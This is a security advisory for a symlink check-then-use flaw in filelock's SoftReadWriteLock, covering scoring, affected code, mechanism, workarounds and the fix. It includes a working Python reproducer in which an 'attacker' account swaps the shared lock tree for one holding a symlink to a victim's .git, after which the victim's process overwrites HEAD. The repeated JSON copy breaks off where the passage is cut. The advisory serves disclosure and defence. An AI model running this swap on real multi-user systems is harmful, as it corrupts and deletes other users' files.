GHSA-WFHQ-Q4J2-C37M
Vulnerability from github – Published: 2026-10-28 21:09 – Updated: 2026-10-28 21:09SoftReadWriteLock (and AsyncSoftReadWriteLock, which wraps one) checks once per lock object, by name, that <path>.rw, <path>.rw/gen and <path>.rw/holders are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and O_NOFOLLOW (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created <path>.rw first in a sticky directory such as /tmp (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose gen or holders is a symbolic link into a directory of the user running the lock (the lock user below).
A long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in 0700 directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces .git/HEAD in the lock user's private repository so that git status fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as ANT-2026-WXXRI4M4 [high, CWE-367], titled "SoftReadWriteLock follows gen dir swapped for a symlink after first acquire".
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).
AV:L (local): the other user needs an account on the same host. AC:L (low attack complexity): the swap happens between two acquisitions, with no race to win. PR:L (low privileges): a local user with ordinary privileges is enough. UI:N (no user interaction): the lock user's process acts on its own. C:N (no confidentiality impact): the other user learns nothing. I:L (low integrity impact): the lock user's process replaces a file named HEAD, creates epoch and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. A:N (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges.
Classification from the external review: conditional security. It is a cross-user replacement of a cached .rw tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky /tmp or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.
Scope and preconditions
- Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a
0777scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own0700<path>.rwaside and puts its tree in place. In a sticky parent such as/tmpthe extra precondition is that it created<path>.rw(with realgenandholdersdirectories, mode0777) before the lock user's first acquire.prepare()accepts an existing tree whoever owns it, and the other user later replaces its owngenwith a symbolic link.fs.protected_symlinks=1(a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky<path>.rw, not in the sticky parent (the scanner ran with that setting). - Lock user: any process that keeps one
SoftReadWriteLockorAsyncSoftReadWriteLockobject (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree getsRuntimeError. Between two acquisitions there is no timing to win. - Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (
/home/victim/project/.gitin the reproducer, under a0700home directory the other user cannot open). - Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only.
- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
Affected code
At the scanned commit b831496b0273, OsFiles.prepare checks the three directories with lstat and caches _prepared. lstat reports what a name is without following a symbolic link. Every later operation takes a full path string, for example create (O_NOFOLLOW on the last component only), replace (Path(source).replace(target)), unlink and listdir. The callers that write through the swapped tree are Participant.publish / _create_holder, GenerationLog._incarnation (creates epoch), commit (links a generation record and renames over HEAD), _keep_claim_fresh, _sweep and _list (unlink). There is one OsFiles per lock object (_sync.py line 204), handed to every Participant at line 501.
Introduced
The once-per-object shortcut (_prepared) came with 367b111 ("fix(soft-rw): publish the head through gen/HEAD (#799)", 2026-10-08), first released in 4.1.0 (verified with git tag --contains 367b111, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent 61582c5 (also first in 4.1.0) a contender already waiting during the swap still creates epoch in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried >= 4.0.0 as the union with a sibling finding; for this finding alone the range is >= 4.1.0, <= 4.2.0.
Mechanism
prepare() runs mkdir(mode=0o700) and then lstat() on each of <path>.rw, gen and holders. It raises RuntimeError("... exists but is not a directory or is a symlink; refusing to use it") for a symbolic link or non-directory. It does this by name, once per OsFiles (if self._prepared and not force: return), and only a FileNotFoundError while creating the holder record (the file that says this process holds or wants the lock) leads to prepare(force=True). All other OsFiles methods (read, create, link, replace, overwrite, unlink, listdir) take a full path string such as /srv/shared/app.lock.rw/gen/HEAD. O_NOFOLLOW applies to HEAD, and the kernel follows app.lock.rw and gen to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.
The scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options SoftReadWriteLock, as two accounts in /srv/shared (root-owned, mode 0777, no sticky bit):
victimruns a worker that buildsSoftReadWriteLock("/srv/shared/app.lock")once and takeswrite_lock()for each job. After the first job,app.lock.rwexists, owned byvictim, mode0700.attackerrenamesapp.lock.rwtoapp.lock.rw.aside, creates a newapp.lock.rwwith a world-writableholders/in it, and makesapp.lock.rw/gena symbolic link to/home/victim/project/.git./home/victim/projectis mode0700; theattackeraccount cannot open anything below it.- The worker takes the lock for its second job.
write_lock()returns without error./home/victim/project/.gitnow holds new filesepoch,00000000000000000001and00000000000000000002, and<epoch>\nfilelock-rw/1\ngeneration=2\nhas replaced the content of.git/HEAD.git statusthere answersfatal: not a git repository.
The second acquisition, step by step: Participant.publish() calls prepare(), which returns at once, then creates holders/<token>. The planted tree has a writable holders, so this succeeds. advance() calls GenerationLog.latest() (the generation log is the lock's ordered record of write generations under gen/). _incarnation() reads gen/epoch, finds none behind the link, and creates .git/epoch. The epoch differs from the remembered one, so the code drops the remembered log. git's HEAD does not start with the new epoch, so _head_record() ignores it and the log reads as empty. commit() creates .git/.commit-<token>, hard-links it (a hard link is a second name for the same file) to .git/00000000000000000001, removes the temporary name, and publishes HEAD through OsFiles.replace, which is rename(".git/.commit-<token>", ".git/HEAD"). The release commits generation 2 the same way and renames over HEAD again.
Other ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted holders/ on its next poll (_keep_claim_fresh()), and the commit that follows replaces HEAD in the target. A process that only holds and releases, with the tree swapped during the hold, creates epoch in the target on release. With holders as the link, Participant._sweep() (run on acquire polls and from a holder's heartbeat()) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for stale_threshold (observed with stale_threshold=2; the default is 90 s). With gen as the link, GenerationLog._list() unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with SoftFileLockProtocolError.
Reproduction
The scanner's reproducer for finding ANT-2026-WXXRI4M4, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
SHARED = "/srv/shared"
LOCK_TREE = f"{SHARED}/app.lock.rw"
PROJECT = "/home/victim/project"
HEAD = Path(PROJECT, ".git", "HEAD")
AS_VICTIM = ["runuser", "-u", "victim", "--"]
AS_ATTACKER = ["runuser", "-u", "attacker", "--"]
VICTIM_WORKER = [*AS_VICTIM, sys.executable, "/tmp/repro.d/victim_worker.py"]
ATTACKER_SWAP_TREE = [*AS_ATTACKER, sys.executable, "/tmp/repro.d/attacker_swap_tree.py"]
# set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter
shutil.rmtree(SHARED, ignore_errors=True)
shutil.rmtree(PROJECT, ignore_errors=True)
os.mkdir(SHARED)
os.chmod(SHARED, 0o777)
subprocess.run([*AS_VICTIM, "git", "init", "--quiet", PROJECT], check=True)
os.chmod(PROJECT, 0o700)
head_before = HEAD.read_text()
print("SETUP HEAD:", repr(head_before))
attacker_opens_head = subprocess.run(
[*AS_ATTACKER, sys.executable, "-c", f"open({str(HEAD)!r}, 'w')"], capture_output=True, text=True
)
if attacker_opens_head.returncode == 0:
sys.exit("setup: the attacker can write HEAD directly")
print("CONTROL attacker opens HEAD for writing:", attacker_opens_head.stderr.strip().splitlines()[-1])
# the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw
worker = subprocess.Popen(VICTIM_WORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
worker.stdin.write("job 1\n")
worker.stdin.flush()
print("VICTIM ", worker.stdout.readline().strip())
tree = os.stat(LOCK_TREE)
print("VICTIM app.lock.rw owner uid", tree.st_uid, "mode", oct(tree.st_mode & 0o777))
# attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git
subprocess.run(ATTACKER_SWAP_TREE, check=True)
print("ATTACK app.lock.rw/gen ->", os.readlink(f"{LOCK_TREE}/gen"))
# control: a new lock object, in a new victim process, checks the planted tree and refuses it
fresh_worker = subprocess.run(VICTIM_WORKER, input="job 1\n", capture_output=True, text=True)
print("CONTROL new worker:", (fresh_worker.stdout + fresh_worker.stderr).strip().splitlines()[-1])
print("CONTROL HEAD after the new worker:", repr(HEAD.read_text()))
# the same worker does job 2 with the lock object that passed the check at job 1
worker.stdin.write("job 2\n")
worker.stdin.close()
print("VICTIM ", worker.stdout.read().strip())
worker.wait()
# check: HEAD of the victim's private repository must still be git's own
head_after = HEAD.read_text()
print("OBSERVED HEAD:", repr(head_after))
print("OBSERVED .git:", sorted(os.listdir(HEAD.parent)))
git_status = subprocess.run([*AS_VICTIM, "git", "-C", PROJECT, "status"], capture_output=True, text=True)
print("OBSERVED git status:", (git_status.stdout + git_status.stderr).strip().splitlines()[0])
print("BUG" if head_after != head_before and "filelock-rw/1" in head_after else "OK")
repro.d/attacker_swap_tree.py
import os
LOCK_TREE = "/srv/shared/app.lock.rw"
TARGET = "/home/victim/project/.git" # below a 0700 directory: this user can neither list nor write it
# the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit)
os.rename(LOCK_TREE, f"{LOCK_TREE}.aside")
os.umask(0)
os.mkdir(LOCK_TREE, 0o755)
os.mkdir(f"{LOCK_TREE}/holders", 0o777) # writable, so the victim's holder record lands and nothing re-runs prepare()
os.symlink(TARGET, f"{LOCK_TREE}/gen")
repro.d/victim_worker.py
import sys
from filelock import SoftReadWriteLock
lock = SoftReadWriteLock("/srv/shared/app.lock")
for job in sys.stdin:
with lock.write_lock(timeout=30):
... # the job's work on the shared resource
print("victim: finished", job.strip(), "and released the lock", flush=True)
Attack sequence
sequenceDiagram
participant A as other local user
participant W as worker of the lock user (one lock object)
participant F as /srv/shared (0777, no sticky bit)
participant T as /home/victim/project/.git (0700)
rect rgb(255, 214, 214)
Note over A,T: filelock 4.1.0 to 4.2.0
W->>F: job 1, write_lock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, _prepared = True
W->>F: release, lock object kept
A->>F: rename(app.lock.rw, app.lock.rw.aside)
A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git
W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders
W->>T: _incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch
W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001
W->>T: replace() renames .git/.commit-token over .git/HEAD
W->>T: release commits generation 2 and renames over HEAD again
Note over W,T: write_lock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository
end
Evidence
The scanner's reproducer runs as root, drops to victim and attacker through runuser, needs git, changes no sysctl, and takes about half a second. It creates /srv/shared (root-owned, 0777, no sticky bit), has victim run git init /home/victim/project and makes that directory 0700. It then drives two programs. victim_worker.py holds one SoftReadWriteLock("/srv/shared/app.lock") with default options; for each line on stdin it takes write_lock(timeout=30), releases it and prints finished <job> and released the lock. attacker_swap_tree.py renames the lock user's app.lock.rw aside, creates a new one with a world-writable holders/, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git, using only write access to /srv/shared. On the scanned commit it prints:
CONTROL attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD'
VICTIM victim: finished job 1 and released the lock
VICTIM app.lock.rw owner uid 1000 mode 0o700
ATTACK app.lock.rw/gen -> /home/victim/project/.git
CONTROL new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it
CONTROL HEAD after the new worker: 'ref: refs/heads/master\n'
VICTIM victim: finished job 2 and released the lock
OBSERVED HEAD: '<epoch>\nfilelock-rw/1\ngeneration=2\n'
OBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...]
OBSERVED git status: fatal: not a git repository
BUG
The CONTROL lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with fs.protected_symlinks=1. There the other account creates app.lock.rw, gen and holders with mode 0777 in a 1777 parent before the lock user's first acquire, then renames its own gen aside and links it to the lock user's .git.
Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #842 stack head: OK, HEAD stays ref: refs/heads/master, .git keeps its original listing and git status answers On branch master. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree.
Impact
With the lock user's privileges, in any directory the lock user can write, the other user gets a file named HEAD replaced, new files epoch, HEAD and 20-digit generation names created (mode 0600), and files deleted whose names match the protocol's patterns (32 hex digits, 20 digits, .commit-*). The bytes written are filelock's own records, not chosen by the other user. Replacing HEAD makes a git repository unusable when the other user knows its path. Renaming <path>.rw away is something this other user may do anyway, and docs/how-to.rst documents the result (a new log starts). What this finding adds is that the lock user's file operations leave the lock's directory.
This is adjacent to GHSA-j8f7-rjxc-mr56 (ReadWriteLock following a symbolic link at its database path, fixed in 4.0.9) and the earlier symbolic link fixes (PR 461 for lock file creation, PR 465 for SoftFileLock, PR 565 for refreshing soft read/write lock markers). Each guards the final path component. Here the link sits at a directory component, which O_NOFOLLOW does not cover.
Workarounds
- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a
SoftReadWriteLockbetween accounts through a0777or group-writable directory. - In a sticky directory such as
/tmp, make sure the locking account creates<path>.rwbefore anyone else can (for example at install time with mode0700), and do not use a lock path whose<path>.rwbelongs to another account. - Prefer a fresh lock object per unit of work over a long-lived singleton when other accounts can write the lock directory. A fresh object re-runs the directory check and refuses a planted tree.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/842
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan
filelock-20261015-005of commitb831496b0273) - 2026-10-16 00:46 UTC: draft advisory created
- 2026-10-16 01:39 UTC: fix PR #842 opened
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.0"
},
"package": {
"ecosystem": "PyPI",
"name": "filelock"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112941"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:09:09Z",
"nvd_published_at": "2026-10-20T15:17:16Z",
"severity": "LOW"
},
"details": "`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) checks once per lock object, by name, that `\u003cpath\u003e.rw`, `\u003cpath\u003e.rw/gen` and `\u003cpath\u003e.rw/holders` are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created `\u003cpath\u003e.rw` first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file\u0027s owner rename or remove it), can put a tree under that name whose `gen` or `holders` is a symbolic link into a directory of the user running the lock (the lock user below).\n\nA long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user\u0027s privileges, including in `0700` directories the other user cannot open. The names and bytes are filelock\u0027s own lock records, not chosen by the other user. The scanner\u0027s reproducer replaces `.git/HEAD` in the lock user\u0027s private repository so that `git status` fails. There is no race. Affected versions: filelock \u003e= 4.1.0 and \u003c= 4.2.0. Anthropic\u0027s OSS Scanner reported it in private as `ANT-2026-WXXRI4M4` [high, CWE-367], titled \"SoftReadWriteLock follows gen dir swapped for a symlink after first acquire\".\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): the swap happens between two acquisitions, with no race to win. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user\u0027s process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): the lock user\u0027s process replaces a file named `HEAD`, creates `epoch` and generation records, and deletes files whose names match the protocol\u0027s patterns, in any directory the lock user can write, with the lock user\u0027s privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. `A:N` (no availability impact): the lock itself keeps working and the lock user\u0027s process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges.\n\nClassification from the external review: conditional security. It is a cross-user replacement of a cached `.rw` tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky `/tmp` or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock\u0027s own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.\n\n## Scope and preconditions\n\n- Trust boundary: the other party is a different local account with write access to the lock\u0027s parent directory. Without the sticky bit (a `0777` scratch or spool directory, or a group-writable project or cache directory shared with that account\u0027s group) write access alone is enough. The other user renames the lock user\u0027s own `0700` `\u003cpath\u003e.rw` aside and puts its tree in place. In a sticky parent such as `/tmp` the extra precondition is that it created `\u003cpath\u003e.rw` (with real `gen` and `holders` directories, mode `0777`) before the lock user\u0027s first acquire. `prepare()` accepts an existing tree whoever owns it, and the other user later replaces its own `gen` with a symbolic link. `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user\u0027s symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user\u0027s own non-sticky `\u003cpath\u003e.rw`, not in the sticky parent (the scanner ran with that setting).\n- Lock user: any process that keeps one `SoftReadWriteLock` or `AsyncSoftReadWriteLock` object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets `RuntimeError`. Between two acquisitions there is no timing to win.\n- Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (`/home/victim/project/.git` in the reproducer, under a `0700` home directory the other user cannot open).\n- Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link\u0027s part. The scanner ran Linux only.\n- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock\u0027s directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`, [`OsFiles.prepare` checks the three directories with `lstat` and caches `_prepared`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). `lstat` reports what a name is without following a symbolic link. Every later operation takes a full path string, for example [`create`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L53-L60) (`O_NOFOLLOW` on the last component only), [`replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L86-L92) (`Path(source).replace(target)`), [`unlink`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L104-L112) and [`listdir`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L114-L119). The callers that write through the swapped tree are [`Participant.publish` / `_create_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L435-L445), [`GenerationLog._incarnation`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L282-L295) (creates `epoch`), [`commit`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L344-L360) (links a generation record and renames over `HEAD`), [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496), [`_sweep`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L498) and [`_list`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L297) (unlink). There is one `OsFiles` per lock object ([`_sync.py` line 204](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L204)), handed to every `Participant` at [line 501](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L501).\n\n## Introduced\n\nThe once-per-object shortcut (`_prepared`) came with `367b111` (\"fix(soft-rw): publish the head through gen/HEAD (#799)\", 2026-10-08), first released in 4.1.0 (verified with `git tag --contains 367b111`, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent `61582c5` (also first in 4.1.0) a contender already waiting during the swap still creates `epoch` in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried `\u003e= 4.0.0` as the union with a sibling finding; for this finding alone the range is `\u003e= 4.1.0, \u003c= 4.2.0`.\n\n## Mechanism\n\n`prepare()` runs `mkdir(mode=0o700)` and then `lstat()` on each of `\u003cpath\u003e.rw`, `gen` and `holders`. It raises `RuntimeError(\"... exists but is not a directory or is a symlink; refusing to use it\")` for a symbolic link or non-directory. It does this by name, once per `OsFiles` (`if self._prepared and not force: return`), and only a `FileNotFoundError` while creating the holder record (the file that says this process holds or wants the lock) leads to `prepare(force=True)`. All other `OsFiles` methods (`read`, `create`, `link`, `replace`, `overwrite`, `unlink`, `listdir`) take a full path string such as `/srv/shared/app.lock.rw/gen/HEAD`. `O_NOFOLLOW` applies to `HEAD`, and the kernel follows `app.lock.rw` and `gen` to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.\n\nThe scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options `SoftReadWriteLock`, as two accounts in `/srv/shared` (root-owned, mode `0777`, no sticky bit):\n\n1. `victim` runs a worker that builds `SoftReadWriteLock(\"/srv/shared/app.lock\")` once and takes `write_lock()` for each job. After the first job, `app.lock.rw` exists, owned by `victim`, mode `0700`.\n2. `attacker` renames `app.lock.rw` to `app.lock.rw.aside`, creates a new `app.lock.rw` with a world-writable `holders/` in it, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`. `/home/victim/project` is mode `0700`; the `attacker` account cannot open anything below it.\n3. The worker takes the lock for its second job. `write_lock()` returns without error. `/home/victim/project/.git` now holds new files `epoch`, `00000000000000000001` and `00000000000000000002`, and `\u003cepoch\u003e\\nfilelock-rw/1\\ngeneration=2\\n` has replaced the content of `.git/HEAD`. `git status` there answers `fatal: not a git repository`.\n\nThe second acquisition, step by step: `Participant.publish()` calls `prepare()`, which returns at once, then creates `holders/\u003ctoken\u003e`. The planted tree has a writable `holders`, so this succeeds. `advance()` calls `GenerationLog.latest()` (the generation log is the lock\u0027s ordered record of write generations under `gen/`). `_incarnation()` reads `gen/epoch`, finds none behind the link, and creates `.git/epoch`. The epoch differs from the remembered one, so the code drops the remembered log. git\u0027s `HEAD` does not start with the new epoch, so `_head_record()` ignores it and the log reads as empty. `commit()` creates `.git/.commit-\u003ctoken\u003e`, hard-links it (a hard link is a second name for the same file) to `.git/00000000000000000001`, removes the temporary name, and publishes `HEAD` through `OsFiles.replace`, which is `rename(\".git/.commit-\u003ctoken\u003e\", \".git/HEAD\")`. The release commits generation 2 the same way and renames over `HEAD` again.\n\nOther ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted `holders/` on its next poll (`_keep_claim_fresh()`), and the commit that follows replaces `HEAD` in the target. A process that only holds and releases, with the tree swapped during the hold, creates `epoch` in the target on release. With `holders` as the link, `Participant._sweep()` (run on acquire polls and from a holder\u0027s `heartbeat()`) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for `stale_threshold` (observed with `stale_threshold=2`; the default is 90 s). With `gen` as the link, `GenerationLog._list()` unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with `SoftFileLockProtocolError`.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for finding `ANT-2026-WXXRI4M4`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nSHARED = \"/srv/shared\"\nLOCK_TREE = f\"{SHARED}/app.lock.rw\"\nPROJECT = \"/home/victim/project\"\nHEAD = Path(PROJECT, \".git\", \"HEAD\")\nAS_VICTIM = [\"runuser\", \"-u\", \"victim\", \"--\"]\nAS_ATTACKER = [\"runuser\", \"-u\", \"attacker\", \"--\"]\nVICTIM_WORKER = [*AS_VICTIM, sys.executable, \"/tmp/repro.d/victim_worker.py\"]\nATTACKER_SWAP_TREE = [*AS_ATTACKER, sys.executable, \"/tmp/repro.d/attacker_swap_tree.py\"]\n\n# set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter\nshutil.rmtree(SHARED, ignore_errors=True)\nshutil.rmtree(PROJECT, ignore_errors=True)\nos.mkdir(SHARED)\nos.chmod(SHARED, 0o777)\nsubprocess.run([*AS_VICTIM, \"git\", \"init\", \"--quiet\", PROJECT], check=True)\nos.chmod(PROJECT, 0o700)\nhead_before = HEAD.read_text()\nprint(\"SETUP HEAD:\", repr(head_before))\n\nattacker_opens_head = subprocess.run(\n [*AS_ATTACKER, sys.executable, \"-c\", f\"open({str(HEAD)!r}, \u0027w\u0027)\"], capture_output=True, text=True\n)\nif attacker_opens_head.returncode == 0:\n sys.exit(\"setup: the attacker can write HEAD directly\")\nprint(\"CONTROL attacker opens HEAD for writing:\", attacker_opens_head.stderr.strip().splitlines()[-1])\n\n# the victim\u0027s long-lived worker does job 1; its lock object creates and checks app.lock.rw\nworker = subprocess.Popen(VICTIM_WORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\nworker.stdin.write(\"job 1\\n\")\nworker.stdin.flush()\nprint(\"VICTIM \", worker.stdout.readline().strip())\ntree = os.stat(LOCK_TREE)\nprint(\"VICTIM app.lock.rw owner uid\", tree.st_uid, \"mode\", oct(tree.st_mode \u0026 0o777))\n\n# attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim\u0027s .git\nsubprocess.run(ATTACKER_SWAP_TREE, check=True)\nprint(\"ATTACK app.lock.rw/gen -\u003e\", os.readlink(f\"{LOCK_TREE}/gen\"))\n\n# control: a new lock object, in a new victim process, checks the planted tree and refuses it\nfresh_worker = subprocess.run(VICTIM_WORKER, input=\"job 1\\n\", capture_output=True, text=True)\nprint(\"CONTROL new worker:\", (fresh_worker.stdout + fresh_worker.stderr).strip().splitlines()[-1])\nprint(\"CONTROL HEAD after the new worker:\", repr(HEAD.read_text()))\n\n# the same worker does job 2 with the lock object that passed the check at job 1\nworker.stdin.write(\"job 2\\n\")\nworker.stdin.close()\nprint(\"VICTIM \", worker.stdout.read().strip())\nworker.wait()\n\n# check: HEAD of the victim\u0027s private repository must still be git\u0027s own\nhead_after = HEAD.read_text()\nprint(\"OBSERVED HEAD:\", repr(head_after))\nprint(\"OBSERVED .git:\", sorted(os.listdir(HEAD.parent)))\ngit_status = subprocess.run([*AS_VICTIM, \"git\", \"-C\", PROJECT, \"status\"], capture_output=True, text=True)\nprint(\"OBSERVED git status:\", (git_status.stdout + git_status.stderr).strip().splitlines()[0])\nprint(\"BUG\" if head_after != head_before and \"filelock-rw/1\" in head_after else \"OK\")\n```\n\n**`repro.d/attacker_swap_tree.py`**\n\n```python\nimport os\n\nLOCK_TREE = \"/srv/shared/app.lock.rw\"\nTARGET = \"/home/victim/project/.git\" # below a 0700 directory: this user can neither list nor write it\n\n# the victim\u0027s tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit)\nos.rename(LOCK_TREE, f\"{LOCK_TREE}.aside\")\n\nos.umask(0)\nos.mkdir(LOCK_TREE, 0o755)\nos.mkdir(f\"{LOCK_TREE}/holders\", 0o777) # writable, so the victim\u0027s holder record lands and nothing re-runs prepare()\nos.symlink(TARGET, 